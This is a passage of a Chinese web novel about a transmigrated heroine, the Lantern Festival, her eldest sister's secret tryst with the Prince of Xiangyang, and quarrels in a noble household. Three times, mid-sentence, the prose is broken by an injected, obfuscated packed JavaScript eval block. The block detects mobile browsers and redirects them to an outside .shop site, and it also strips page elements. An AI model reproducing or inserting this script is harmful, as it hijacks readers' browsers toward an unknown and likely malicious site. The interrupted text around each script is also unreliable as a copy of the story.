两位姐姐都笑着啐她:“也就你这般贪睡,表哥是读书人,哪能像你一样懒怠。” 姐妹三个说说笑笑,一路嬉闹着,便到了安亭蕴居住的院落。 她们蹑手蹑脚地探着头走进院子,窗下摆着一张梨花木桌,安亭蕴端坐在桌前翻着书卷,眉目清朗,神情专注,丝毫没察觉到外头来了人。 也不知是读得太入神,还是口渴了,他的眼睛始终盯着书页,手下意识地伸到桌边,一把抓起盛着墨汁的小砚台,就要往嘴边送。 曹晚书看得心头一跳,连忙出声喊住他:“二表哥,你仔细瞧瞧手里头拿的是什么!” 安亭蕴冷不防听见身后有人说话,惊得手一抖,低头看清手中的东西,顿时俊脸微红,放下砚台,有些不好意思地笑了笑。 “若不是五妹妹出口相救,我这一口白牙,今日怕是要被染成黑的了。” 话落,曹玉书笑得弯了腰,指着他打趣道:“早知道就不该让五妹妹开口,我倒真想看看,二表哥的牙染成黑色,到底是何等滑稽模样,哈哈哈。” “四姐姐,你可真坏!”曹晚书也跟着笑,伸出手指点了点曹玉书。 安亭蕴站在一旁,含笑看着她们姐妹打闹,待众人笑闹声渐歇,才问道:“不知三位妹妹屈尊来我这儿,是有什么事吗?” “哦,我们今日来是想…”曹金书话未说完,便被曹玉书抢了先。 曹玉书挤了挤眼睛,促狭道:“我们今日来,是想问问二表哥,今儿是什么日子。” 姐妹几个心领神会,都晓得四姐姐这是又拿安亭蕴打趣呢。 曹金书也跟着凑趣,扬声道:“我猜二表哥定然不知道今日是什么日子,我赌一两银子,你们敢不敢跟我赌?” 曹玉书立刻附和,一脸笃定:“我也赌二表哥不知道。” 二人说罢,齐齐将目光投向曹晚书,等着听她的说法。 曹晚书被她们看得有些不好意思:“我…我猜表哥是知道的。” 随后,姐妹三个的目光都落在安亭蕴身上,直看得他耳尖泛红,略显局促。 他缓缓开口:“今儿外头鞭炮声阵阵,算来应是上元佳节吧。” “哇!”曹晚书一脸狂喜,当即伸出手,朝垮着一张脸的两位姐姐讨要银子,“愿赌服输,愿赌服输!” “知道了知道了,先欠着,等晚上让我身边的丫头给你送去。”曹玉书嘴上说得爽快,心里却揪着疼。 从安亭蕴的院子出来后,姐妹三个便结伴去了府中的后花园,寻了个僻静处扎花灯。各色绢纱、细竹篾、面糊摆了一地,好不热闹。 金书手巧,扎了个莲花灯,栩栩如生,玉书则扎了个兔子灯,活泼可爱。轮到晚书,她那双手平日里抹牌掷骰子倒利索,做起这精细活计却笨拙得很,扎出来的灯笼歪歪扭扭,灯骨都露着,糊的纱也皱巴巴。等到做好了,天也就黑了。 两位姐姐看了她的杰作,都笑她,说她的灯笼别具一格,挑着出去,整个汴京城,都找不出来第二个。 偌大的鲁国公府早已是张灯结彩,处处点起明晃晃的巨烛,将暮色四合的天光都映得一片通明,富贵气象逼人。 逢此佳节,府中自是珍馐罗列,杯盘交错。一大家子陪着老太太、老爷夫人们用了团圆饭,席间笑语喧阗。 待到酒过三巡,菜过五味,曹老太太才慈眉善目地发话:“孩子们都坐不住了吧?去吧去吧,由着你们兄弟姊妹们出去逛逛灯市,也松泛松泛,只一条,早些回来。” 今儿也不知是怎么回事,宋夫人说曹舆感染了风寒,身子不适,就不跟着一道出去了。这话听着,倒让人有些辨不清真假。 毕竟早上的时候,曹晚书还瞧见曹舆如龙似虎般在园子里耍枪弄剑,身手矫健得很,哪里像是有病的样子。 许是宋夫人怕他又出去惹祸,这才找了个由头,不让他出门吧。 谁知宋夫人刚说完,曹舆便站起身,一脸不悦地嚷嚷道:“我何时有病了?好端端的,怎么就不能出去了!” 宋夫人脸上一阵尴尬,藏在桌子底下的手狠狠掐了一把曹舆的胳膊,又拼命给他使眼色,让他少说话。 曹舆疼得龇牙咧嘴,索性转过身,当着众人的面质问宋夫人:“母亲,你掐我做甚么?” 既然他这般不怕丢人,宋夫人也索性把话摊开了说,没好气地瞪着他道:“你自己说说,哪回出去不惹祸?我怎么就生了你这么个冤家!” 大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202116|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房的王夫人见状,连忙打圆场道:“三哥儿想去就去吧,我让我家轸儿和轴儿跟着他,多看着些,弟妹尽管放心就是。” 宋夫人却不领情,没好气地白了她一眼,一肚子火气没处发,低声嘟囔道:“你家曹轸曹轴,也不是什么安分的东西,免得到时候再带坏了我儿。” 王夫人一听这话,当即不乐意了,站起身来就要与她理论:“弟妹,你这话是什么意思?我好心好意帮你,你怎么反倒扯我家两个孩子!” 宋夫人趾高气昂地扬着下巴:“我说你家曹轸曹轴不是好东西,怎么,我说错了吗?” “你凭什么这么说我儿子!难道你儿子就是好东西了?你儿子才是个不成器的东西!”王夫人气得眼圈发红,拿起手帕捂着脸,在饭桌上哭嚎起来,“你们都欺负我是寡妇,欺负我家官人不是老太太亲生的,是从外头抱来的!你们都不把我放在眼里,我活着还有什么意思啊,呜呜呜…” 宋夫人被她这副模样气得险些背过气去,伸手指着她,半天说不出一句完整的话:“你方才还对我咋咋呼呼,这会儿倒又哭起来了,除了会卖可怜,你还会干什么!” “行了!有完没完!”曹老太太猛地将手里的拐杖往地上重重一磕,震得满桌人都安静下来。 席面上霎时鸦雀无声,曹老太太沉下脸,继续说道:“让哥儿姐儿们都出去逛逛吧,多派几个力气大的小厮跟着,寸步不离地护着姑娘们的安全。至于轸哥儿、轴哥儿、舆哥儿你们几个,素来爱闯祸,今日都给我收敛些。若敢在外头惹事,休怪我罚你们禁足抄书!” 这时,老太太身边的刘妈妈走了过来,手中拿着一个托盘,托盘上放着一个东西,用红布盖了起来,看不到里面是什么。 刘妈妈躬身道:“老太太,襄阳王送来贺礼,说是什么鬼工球,我也不知道是什么东西。” 曹老太太掀开上面的红布,众人忙伸长了脖子去瞧。那物事拳头大小,通体莹白如雪,是用一整块上好的象牙镂空雕成。妙处在于,这球里套着球,一层裹着一层,足有三层之多。每一层都薄如蛋壳,均匀剔透,面上还刻满了精细繁复的花鸟瑞兽,还层层皆能转动自如,简直鬼斧神工。 王夫人看得眼都直了,啧啧称奇:“我的老天爷,这怎么弄出来的?神仙手段也不过如此吧?” 老太太面上也露了笑意,侧头对刘妈妈吩咐:“去,把我屋里那套大玉川先生茶具寻出来,仔细包了,给襄阳王送去。人情往来,讲究个有来有往,咱们家,不能白占人便宜。” 戌时,曹家一众小主子们涌上了街。但见长街两侧,火树银花,亮如白昼。各色花灯争奇斗艳,猜灯谜的摊子前更是人头攒动,笑语喧哗。 安亭蕴素喜这等雅趣,便在一处灯谜摊前驻足。 他随手拈起一张红纸签,见上面写着一句谜面:“远看像头牛,近看没有头。”正沉吟间,感觉袖口被人轻轻扯了扯。 低头一看,是曹晚书踮着脚尖,一双杏眼亮晶晶地瞅着他手里的谜签。 “妹妹可猜得出这是何字?”安亭蕴温言问道。 5. 金书幽会襄阳王 逛花灯无意撞私会 曹晚书摇摇头,装作不懂道:“二哥哥既问,想必是胸有成竹了?”她心里却想,这谜底在后世简单得很,不过看他考校的样子倒有趣。 安亭蕴见她摇头,唇角微扬,对设摊的老者道:“老丈,此乃午字。”老者笑着点头,取下一盏精巧的莲花灯递给他。 安亭蕴接了灯,他看了看灯,又看了看身边只及他胸口高的小人儿,心头软了几分。 这花灯玩意儿,自己提着确是无趣,便自然而然地将灯柄塞到曹晚书小手里:“喏,给你顽去。” 曹晚书接过灯,烛光映得她小脸绯红:“多谢表哥。”她回头四顾,发现其他兄弟姐妹早已不知钻到哪处热闹里去了,只剩下她和安亭蕴二人。 安亭蕴见她孤身一人,眉头微蹙。这上元夜虽热闹,却也鱼龙混杂,“五妹妹,人太多,莫走散了,我陪着你走走可好?” 曹晚书正求之不得,忙点头:“好呀,有哥哥在,我就不怕了。”两人便随着人流缓缓前行。 街上妇人众多,曹晚书很快发现新奇处。许多女子发髻间,都簪着一种会发光的精巧小灯笼。那灯笼不过栗子大小,或以珍珠点缀,或以翡翠镶嵌,煞是好看。 再往前几步,果然见一小摊,专售这等灯簪。不仅妇人,连许多男子发髻或帽冠上也顶着莲花、牡丹状的灯碗,里头燃着特制的火杨梅,哧哧冒着细小的火苗。 正看得入神,忽听一声惨叫,只见前头一个头戴牡丹灯碗的男子,许是酒意上头,脚下一个踉跄绊倒在地。 那灯碗里的火苗一下子窜起,将他鬓边一绺头发燎着了!那汉子惊得魂飞魄散,手忙脚乱地拍打头顶,又蹦又跳,狼狈不堪,惹得周围看客哄然大笑。 “噗嗤。”曹晚书也忍不住笑出声来,忙又掩住小口。 她原本也心动想买个灯簪试试,见此情景,立刻打消了念头,小声对安亭蕴嘀咕道:“这灯儿好看是好看,只是万一也烧了头发,可就成了秃毛鹌鹑了。” 安亭蕴瞧着她狡黠灵动的模样,低声道:“妹妹说的是,这顶灯之乐,还是让旁人消受罢。妹妹这头青丝若损了一星半点,才是可惜。”话说出口,才觉有些孟浪,忙借着看灯掩饰过去。 晚书脸上也飞起红霞,装作没听见,只指着前方:“呀,那边灯好大。” 宣德门外,潘楼街。 此处人山人海,最引人注目的是一座巨大的棘盆灯,由千百盏小花灯层层叠叠组合而成,形如宝塔,光华璀璨,照得半边天都亮了。 曹晚书仰头望去,宣德门楼之上,影影绰绰可见皇帝与妃嫔的身影,正在凭栏观灯。楼下特设的看台上,文武百官亦是济济一堂。 “真好看啊。”曹晚书由衷赞叹,这汴京上元夜的盛景,远超她前世任何一场灯会。 天空中还飘着无数盏孔明灯,如同星河倒悬,将整个夜晚渲染得如梦似幻。 “我在济州时,总道家乡灯会已是极盛,”安亭蕴也仰望着这片辉煌,感慨道,“如今方知何为东京梦华,官家与民同乐,此等气象,天下无双。” 三更十分,天子回銮。 宣德门上的灯火次第熄灭,巨大的棘盆灯也暗淡下来。 然而汴京的狂欢并未结束,人流如潮水般涌向相国寺、马行街、大佛寺、保真宫等依旧灯火通明之地。 曹晚书与安亭蕴随着人流往大相国寺方向走。 行至一处稍僻静的巷口,忽闻里面传来刻意压低的说话声,一男一女,那女子的声音听着格外耳熟。 曹晚书脚步一顿,亭蕴见她神色有异,也停下脚步,低问:“怎么了?” 曹晚书竖起手指“嘘”了一声,提着灯笼,悄悄往巷口阴影处照去。昏黄的灯光下,赫然映出两张脸,是她的大姐姐曹金书。 而她对面,站着一个身着锦袍,气度不凡的年轻男子,两人挨得极近,姿态亲昵,几乎是抱在一起。 不单是曹晚书和安亭蕴僵在原地,大姐姐猛见灯光,也吓得魂飞天外。 是襄阳王!眼前这人,就是原著剧情里,那个几年后起兵谋逆,最终兵败身死,并牵连无数官员家族满门抄斩的襄阳王赵珏。 大姐若真嫁给他,曹家上下,一个都跑不了,死路一条! 金书回过神来,手忙脚乱地整理着微乱的衣襟,强挤出一个笑容,对着曹晚书连连招手:“五妹妹,快过来。好妹妹,听姐姐说。” 曹晚书非但没上前,反而后退了半步:“大姐姐,你怎么在这里,这位是谁呀?” 她心想:绝不能被大姐哄骗住,此事必须拉上安亭蕴这个外人作证,才有转圜余地。 金书这才看清五妹身后还站着安亭蕴。这一下,如同五雷轰顶。她原以为只有年幼懵懂的五妹妹,哄一哄,吓一吓,许些好处便能封口。 可安亭蕴岂是那么好糊弄的。 她语无伦次:“不,不是的。二表哥,五妹妹,你们千万别误会,不是你们想的那样。”她指着襄阳王,辩解说,“是父亲母亲,他们有意将我许配给襄阳王的,我们只是碰巧在此遇到,真的!” 曹晚书面上装作恍然大悟,又带着点小女儿的天真,拍手道:“原来是这样啊。” 安亭蕴上前拱手一礼:“原来是襄阳王当面。既是长辈有意,在此巧遇,也是缘分。现在更深露重,此处僻静,恐非久留之地。大姑娘与五姑娘皆是闺阁女子,在下需护送她们回府了。 金书此刻只想立刻逃离这让她羞愤欲死的境地,忙不迭道:“是是是,表哥说得极是。五妹妹,我们快走。”她上前一把拉住曹晚书的手,力道大得惊人,再不敢看襄阳王一眼。 安亭蕴落后一步,对襄阳王再次拱手:“学生告退。”这才转身,不紧不慢地跟上曹家姐妹。 这姐妹俩各怀鬼胎回了府。待事略定,晚书觑个空儿,悄悄儿寻着安亭蕴说话。 安亭蕴正自心神不定,偷眼觑着晚书,见她粉面含忧,便宽慰道:“五妹妹,你且宽心。今日之事,烂在我肚里,断不肯嚼舌根子,坏了你姊妹名声。” 晚书知他是为着曹家女儿名声,要替金书遮瞒。但她路上早已思量停当,把心一横,道:“二表哥,你这话差了。此事非但不能瞒着,你须得赶紧将这事原原本本,说与我爹爹知道,不得有丝毫隐瞒。” 安亭蕴难以置信:“告知舅舅,于曹家姑娘名声有损,于你又有何益?” 晚书道:“曹家若因攀附逆王而倾覆,名声又算得了什么。” 他听后,忍不住皱眉问:“你为何如此笃定襄阳王将来必会谋逆?这等诛心之言,不可轻下。” 曹晚书脑子里飞快转着,她不能暴露自己是穿书者,但可以借势,于是说道:“前些日子我随母亲去大相国寺进香,一时贪玩走岔了路,无意间撞见襄阳王与人密谈。我躲在假山后,听得什么西南兵备的事,还提到襄阳王大业。这事我没敢告诉任何人,怕惹祸上身。如今看到大姐与他,我怎能不怕?” 安亭脸色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202117|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凝重,万万没想到,这个表妹小小年纪,能从蛛丝马迹中推断出如此可怕的结论,并当机立断要阻止家族卷入。 他想了想,沉声道:“我明白了。你放心,此事我去与舅舅说。” 安亭蕴果然寻着曹望,把巷中撞见金书与襄阳王如何挨挨擦擦,搂搂抱抱的光景悄悄儿禀了。 曹望不听则已,一听之下,登时气得要死,怒吼一声:“来人!把大姐儿与我捆了来!” 安亭蕴见他怒发冲冠,怕他一时性起闹将出去,反坏了事,慌忙上前拦住道:“舅舅息怒,此事张扬不得。若叫那些奴才知晓,背地里唾沫星子就能淹死人。依甥儿愚见,不如悄没声地将大妹妹唤来,关起门来发落。她与那襄阳王的事,更须快刀斩乱麻,早定行止才是正理。” 曹望胸口起伏,切齿骂道:“真是辱没祖宗,败我家门,气杀我也。”直喘了半日粗气,方才略定。 待下人们战战兢兢把金书带到,安亭蕴是个晓事的,自忖是外男,不便在旁听那父女腌臜,便悄没声地退了出去。 次日清早,小丫鬟溜到曹晚书房里报信儿:“五姑娘,可了不得了。昨夜里老爷把大姑娘叫去,好一顿发作,今儿一早,老爷就出去寻他那班好友吃酒,席上便放出风去,说咱家大姑娘早几年就许了南边什么人家,只等过门了。” 小丫鬟话音刚落,只见又一个小丫鬟慌慌张张跑进来,跑得上气不接下气,道:“五……五姑娘,不好了!夫人动了真怒,说是要把柳姨娘发卖给人牙子,这会子正带着粗使婆子,往紫蝶苑拿人捆呢。” 晚书心下一惊,忙问:“为什么要卖我小娘?” 小丫头喘道:“谁知道呢,平白无故就要发卖人,只听得夫人一路走一路骂。” 晚书一听,心道:坏了!这分明是母亲在襄阳王事上吃了瘪,一腔邪火无处撒,迁怒到柳姨娘头上了。 人未到紫蝶苑,先听得里面鸡飞狗跳。晚书抢步进去,柳姨娘已被几个婆子按倒在地,用麻绳捆得结结实实。 宋夫人举着一根手腕粗的门闩,眼看就要兜头打下。 晚书三步并作两步,一把攥住门闩,硬生生夺了下来:“母亲这是为哪般?纵有天大的事,也犯不着动这粗。” 宋夫人气得浑身乱颤,骂道:“为哪般?就为这起子养汉精!定是这狐媚子在你爹跟前嚼了蛆,吹了枕头风,才哄得你爹猪油蒙了心,生生断送了我大姐儿的大好姻缘。” 晚书扶住宋夫人,替她顺着背,低声道:“母亲息怒,眼下正是节骨眼上。大姐姐那档子事,爹爹又在外头放了风,说姐姐早许了人。风口浪尖上,母亲若再闹出个发卖姨娘的事,传扬出去,外头那些闲汉婆子岂不更要疑心?只怕嚼舌根子嚼得更凶。依女儿看,与其置气,不如想想爹爹既说姐姐许了人,日后谁还敢上咱家提亲?这才是火烧眉毛的勾当。” 宋夫人一听,更是悲从中来,捶胸顿足哭道:“你爹这老糊涂,何苦来?这不是生生坑害我大姐儿么。若我大姐儿真因此嫁不出去,都是他这老杀才作的孽!呜呜呜……” 晚书在一旁劝慰:“母亲,莫哭了,哭坏了身子不值当。” 宋夫人哭了半晌,忽地抬起头,一双泪眼狠狠剜向晚书,骂道:“还有你这没良心的,我原道你是个贴心的,谁知也是当面一套背后一套。定是你这死丫头撺掇着告到你爹跟前,打量我不知道么!” 晚书心里叫苦不迭,这真是黄泥巴掉裤、裆,不是屎也是屎了。 6. 宋夫人快口怼众人 赴喜宴宋氏受折辱 她苦心经营,好不容易才笼络住这嫡母,眼看要前功尽弃。急中生智,凑到宋夫人耳边,神神秘秘地悄声道:“母亲,真真是冤枉死女儿了,女儿岂敢害大姐姐?实是为了咱曹家满门的身家性命啊。” 晚书顿了顿,接着道:“母亲不知,前日夜里女儿做了个怪梦,一个鹤发童颜的老神仙,指着女儿鼻子说:‘若教你大姐姐嫁了襄阳王,不出三年五载,你曹家满门抄斩,鸡犬不留。’女儿吓得魂都没了。” 宋夫人将信将疑,啐了一口:“做梦顶个屁用,不都说梦是反的?你这小蹄子,莫不是跟你小娘学坏了,见不得你大姐姐攀高枝,编出这谎话来诓我?” 晚书做出惊惶万分的样子,带着哭腔道:“母亲若不信,女儿也没法!只是那梦真真儿的,女儿梦见咱家宅子被抄了,金银细软尽数充公,男丁披枷戴锁下大狱,女眷流放三千里,冻饿而死、病死在路上的不知凡几。 还有那疯了的、上吊的,女儿醒来,一身冷汗。母亲细想,襄阳王是何等人物?天潢贵胄!咱家攀上这门亲,是福是祸,真真难料。母亲且耐着性子,日子久了,便知女儿这梦是真是假了!” 宋夫人见她说的有鼻子有眼,神情不似作伪,心里也犯起了嘀咕,低头盘算了半晌,脸色阴晴不定,终究没再言语,只把手里攥着的门闩往地上一掼,带着婆子,悻悻地走了。 晚书赶紧去给地上的柳静钗解绳子。 谁知绳子刚松开,柳静钗就开始哭起来,狠狠瞪了晚书一眼,拍着腿哭骂道:“我十月怀胎,九死一生,生下的好女儿,倒似替别人养了个孩儿。你一口一个母亲,可曾把你亲娘放在眼里半分?” 晚书被她哭骂得一怔,心里又是气又是无奈,暗道:若她是个明白人,见女儿能得嫡母几分青眼,巴不得烧高香,日后也好有个依靠。偏生这柳姨娘,只一味想着自己肚皮里爬出来的骨肉叫别人娘,心里那坛子醋就翻江倒海起来。 转念一想,不过是妇人常情罢了。 晚书索性跪坐在柳静钗身边,拉起她的手,未语泪先流:“小娘口口声声说疼我,却不知是真心疼我,还是假意疼我?” 柳静钗哭得梨花带雨,抽噎道:“你……你是我肚里爬出来的肉,我岂能不疼你?” 晚书抹着泪道:“小娘疼我,就该替女儿想想,满府上下谁不知我是姨娘生的。比起以前,如今没有哪家是把嫡出庶出整日挂嘴边的,传出去叫人笑话,都是平等对待一样疼。 宋夫人是府里正经八百的主母,可我毕竟不是她亲生的,若跟她对着干,针尖对麦芒,咱娘儿俩日后能得什么好?女儿如今伏低做小,哄着她些,她见女儿不过是个丫头片子,碍不着她什么,兴许就少些刁难。日后她指缝里漏点好处,给女儿寻个过得去的人家,也未可知。小娘,咱们娘儿俩的命,捏在人家手心里啊。” 柳静钗听罢,呆了半晌,长叹一声,眼泪又滚下来:“唉,罢罢罢。只怨你命苦,托生在我这没用的肚皮里,倒拖累了你。”她抹了两把泪,挣扎着从地上爬起来,又伸手把晚书也拉了起来。娘儿俩相对无言,唯有泪千行。 近日东京府里炸开了锅,都传襄阳王看上了武安侯府上的二姐儿,两家要结亲哩。 那武安侯府里的张夫人,喜得浑身骨头没个四两重,立时大排筵宴,遍撒请帖,把半个东京城有头脸的夫人小姐都请了去。 鲁国府里的大姐儿金书得了信儿,哭得死去活来,泪珠子断了线似的,死活不肯去赴宴。 她母亲宋氏心里也似吞了苍蝇,膈应得很。 武安侯府下的帖子已到了手上,不去?脸面上不好看。去了?明摆着是看那张夫人抖威风,自家矮了一头,白受腌臜气。 左思右想,到底捏着鼻子,带了玉书、晚书两个姐儿,硬着头皮去了。 这位张夫人也不知是存心还是碰巧,将宋氏娘仨安排在最末一席坐下。 那地方,连府里有体面的管事妈妈坐的都不如,生生是把鲁国府的脸面踩在了脚底下泥里。 席间,一个姓赵的媳妇,惯会舔肥的,端着酒杯凑到张氏跟前奉承:“哎哟我的好姐姐,你可是掉进福窝里了。谁不知道襄阳王是龙子凤孙,最有望承大位的?赶明儿你家二姐儿做了圣人娘娘,可别忘了拉扯拉扯我们这些姐妹呀。” 这话搔着了张氏的痒处,登时眉开眼笑,那下巴颏扬得,恨不能戳到天上去,只差拿眼白睥睨众人了。 张氏心里得意得紧,但面上还要装出浑不在意的模样,假意拉着赵媳妇的手道:“哎呦喂,我的好妹妹,这话可不敢浑说。立储那是官家金口玉言的事儿,咱们妇道人家哪敢妄议。今儿请诸位姐妹来,不过是图个热闹,大家一处乐乐。都别干坐着,动筷子,动筷子!” 这时,又有个不知哪家的媳妇子,斜乜着眼,拿腔拿调地笑道:“说的是呢,到底是你家二姑娘有造化,不像有些人家,癞蛤蟆想吃天鹅肉,没吃着不说,反栽进臭水沟里,扑腾了一身泥,惹人笑话。”这话明里暗里,刀子似的直戳宋氏的心窝子。 席上那些贵妇们听了,都心照不宣地掩着嘴笑起来,可把宋氏给气得不轻。 此刻,她倒不觉得丢了襄阳王这乘龙快婿有多可惜了,只暗暗咬牙诅咒:但愿你武安侯府也遭一回塌天大祸,看你这张狂劲儿能到几时。 张氏眼角瞥见宋霜华脸上挂不住,心里越发受用,故意清了清嗓子,冲着末席道:“宋夫人,你怎地坐得恁般远?快往前头挪挪,姐妹们一处说话才热闹。” 宋夫人被这一声点破,再也按捺不住,眼睛恶狠狠扫过席上众人,最后钉在张氏那张得意脸上,从牙缝里挤出话来:“乌鸡插上几根凤凰毛,还真当自己是金翅大鹏,能飞上九天了不成!” 张氏也不恼,反作惊讶状,拍手道:“哎哟喂,大家伙儿听听,我好心请妹妹往前坐,怎地倒惹出这大火气来?妹妹这心气儿也太高了点吧?” 赵媳妇赶紧又凑上来,舔着脸帮腔:“嗐,姐姐莫怪,有些人呐,是眼馋肚饱,吃不着葡萄说葡萄酸,心里头那股子邪火没处撒呢。” 宋氏听了,只从鼻孔里哼气,站起身,掸了掸衣袖,冷笑道:“好心当驴肝肺。我劝你一句,得意时莫忘形,小心羊肉没吃到嘴,反惹一身羊膻臊。到时候,才真真是活现眼!”说罢,也不管席面上如何,一手拽一个女儿,头也不回地走了。 一回到府里,宋氏胸中那口浊气顶得她心口疼,坐在榻上只喘粗气。 邹妈妈在一旁递茶顺气,好话说了一箩筐,也没甚么用。 正没好气,里屋门帘一掀,曹金书哭得眼睛肿得像桃儿,泪痕未干,抽抽噎噎地问:“娘, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202118|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他真个要和武安侯府结亲了么?” “哭!哭!哭!就知道哭!”宋氏气得指着她骂道,“瞧瞧你这副模样,还有半点大家闺秀的体统没有?老太太教你的规矩礼数,都就着饭吃进狗肚子里去了?” 她喘了口气,又恨铁不成钢地道,“这才几日功夫,他就能跟旁人定亲。我的儿,可见那起子王孙公子,哪有什么真心实意?不过是图个新鲜,你快些收了那痴心妄想才是正经。” “可……可是他亲口对我说过,今生非我不娶的。”金书委屈得又要落泪。 “我呸!”宋夫人啐了一口,火气又旺了几分,点着女儿的额头骂道,“臊也不臊!还嫌丢人丢得不够么?从今往后,休要在我面前提这起子没良心的东西。我朝宗室子弟多了去了,如今储位空悬,鹿死谁手还未可知。你才多大,黄花闺女一个,急什么?给我耐着性子,好生等着。” 女儿家情窦初开,那点痴念哪是说放就能放的?曹金书满腹委屈无处诉,一头扎回自己房里,又蒙着被子嚎啕了半日,直哭得嗓子哑了,眼睛涩了,方才罢休。 宋夫人也懒得去管她,由着她哭去,只道哭够了自然消停。 这边刚忙活完曹金书的事,又有小厮来报:“夫人,不好了。三哥儿在娼楼吃花酒没给银子,娼楼那边差人过来要,正巧被老爷撞见,这下要拿棍子打三哥儿呢!” 宋夫人险些被气晕过去,嘴里直念叨:“冤孽啊,我是生了一群讨债鬼,大的小的没有一个让我省心的。” 她拔腿就要过去救,却被邹妈妈给死死拦住,低声说:“夫人息怒,哥儿有错,当爹的管教也是正理。夫人若回回都这般护短,哥儿越发没了惧怕,往后更不服管了。” 小厮在门外急得跺脚,插嘴道:“妈妈不知,老爷这回是真下了死手。小的听福五说,老爷把供奉的祖宗家法都请出来了,那架势……怕是要把三哥儿打死哩!” “啊?!”宋夫人魂飞魄散,腿一软又要倒,亏得邹妈妈架着,“我的儿啊!” 她嚎了一嗓子,也顾不得许多了,推开邹妈妈,脚下生风地往后堂赶,嘴里兀自咒骂不休,“都怨大房那两个不成器的孽障,整日里勾引我的舆哥儿往那下流地方钻。她大房养的猪狗不如,也要带坏我的儿,真真气煞我也。” 待她气喘吁吁赶到后堂,里面已静了下来。进去一看,曹舆像条死狗般趴在长条板凳上,下身衣衫褴褛,皮开肉绽,血糊淋剌,已是进气多出气少。 “我的儿啊——”宋氏心胆俱裂,扑上去抱住,手抖得无处安放,眼泪鼻涕一齐涌出,“怎地下这般死手啊,我的儿…” 曹望把手里的紫檀木大棒掷在地上,一张脸黑得如同锅底,瞪着宋氏骂道:“看看!看看你养的好儿子!” 宋氏心疼儿子,此刻也豁出去了,抬起头怒视丈夫:“不就是在外头吃了两杯花酒,欠了几个缠头钱?补上不就完了。天大的事,值当你动家法,连祖宗面前的家什都搬出来了,哪个爷们儿在外头没点风流债?定是大房那两个杀才,曹轸、曹轴,撺掇着带坏了我的儿!” 曹望气得胡子直抖,指着半死的曹舆:“若只是吃酒欠钱,老子睁只眼闭只眼也就罢了。这孽障,在外头差点闹出人命官司!” “啊?”宋氏顿时哑了,一张脸煞白,“人…人命官司?” 7. 曹舆受冤遭棍打 风月债惹出人命祸 “你肚子里头掉下来的肉,没一个省心的。”曹望脸上燥得慌,恨声道,“你养的好姐儿在外头偷汉子,你那孽畜儿子更了不得,瓦子勾栏里看上了个卖唱的粉头,竟痴心妄想偷娶了养在外头做外室。那粉头已许了人家,这孽障不思罢手,反要强夺人妇,更要下死手打死那汉!” 他喘口气,接着道:“那粉头被逼得走投无路,我下值刚到家门,她便扑在阶前,哭得泪人儿一般,口口声声求我做主。我不应承,她便撒泼,扬言立时要去衙门击鼓鸣冤,定要闹得满汴京皆知,人尽唾骂。” 宋夫人一听,心肝儿“咯噔”一下,凉了半截。要是报官,那丢人可就丢到姥姥家了。 丢人事小,若真陷进了吃人的大狱,如何是好? 这曹舆不过十五六岁年纪,书不好生念,成日在外招猫逗狗、惹是生非,怎生得了! 宋氏皱着眉,半天说不出话来。 “我前世作了什么孽,怎得生出了这么个孽障。”宋夫人以帕掩面,呜呜咽咽哭个不停。 曹望只觉得耳边聒噪,心烦意乱的,甩袖离开。 宋夫人连忙去叫人请大夫来给曹舆医治,曹舆醒来后,身上皮开肉绽把他疼得龇牙咧嘴,嗷嗷叫唤个不停。 “挨了这顿好打,以后可知道改了?”宋夫人坐在榻边,冷着脸问。 曹舆把头一扭,梗着脖子,一声不吭。 宋夫人长叹一声:“罢!罢!你若仍是这般不知死活,日后犯下滔天大祸,是死是活,我也只当没生养过你这不肖子,眼不见为净!” 曹舆登时怒道:“母亲只知骂我,那打死人的勾当,难道是我亲手做下的?父亲不听我分辩半句,劈头盖脸便是棒子,好没道理!” “哦?难道还另有隐情不成?”宋夫人狐疑道。 “儿子承认,朱三娘确是儿子看上了,有心要娶她做个外室。她原已许了个姓张的,我想着多与他些银钱了事便是。谁成想那姓张的狮子大开口,竟索要五百两,儿子无法只好四处筹措。 可曹轸、曹轴那两个狗攮的!竟背地里商议,要把张老九诓骗到城外荒僻处,悄悄结果了性命。我何曾应允?哪知他二人胆大包天,真个背着我行事,事后反倒一口咬定是我指使。母亲,我冤啊!” “黑了心肝的下流种子们,敢这般坑害我儿!”宋夫人一听,登时暴跳如雷,心头一把无明业火焰腾腾地按捺不住,立时就要冲出去寻那两个小猢狲拼命。 曹舆怕母亲莽撞将事闹大,趴在榻上急唤:“母亲!母亲且慢!”可宋夫人正在气头上,哪里听得进去,一阵风也似的,直扑大房那边去了。 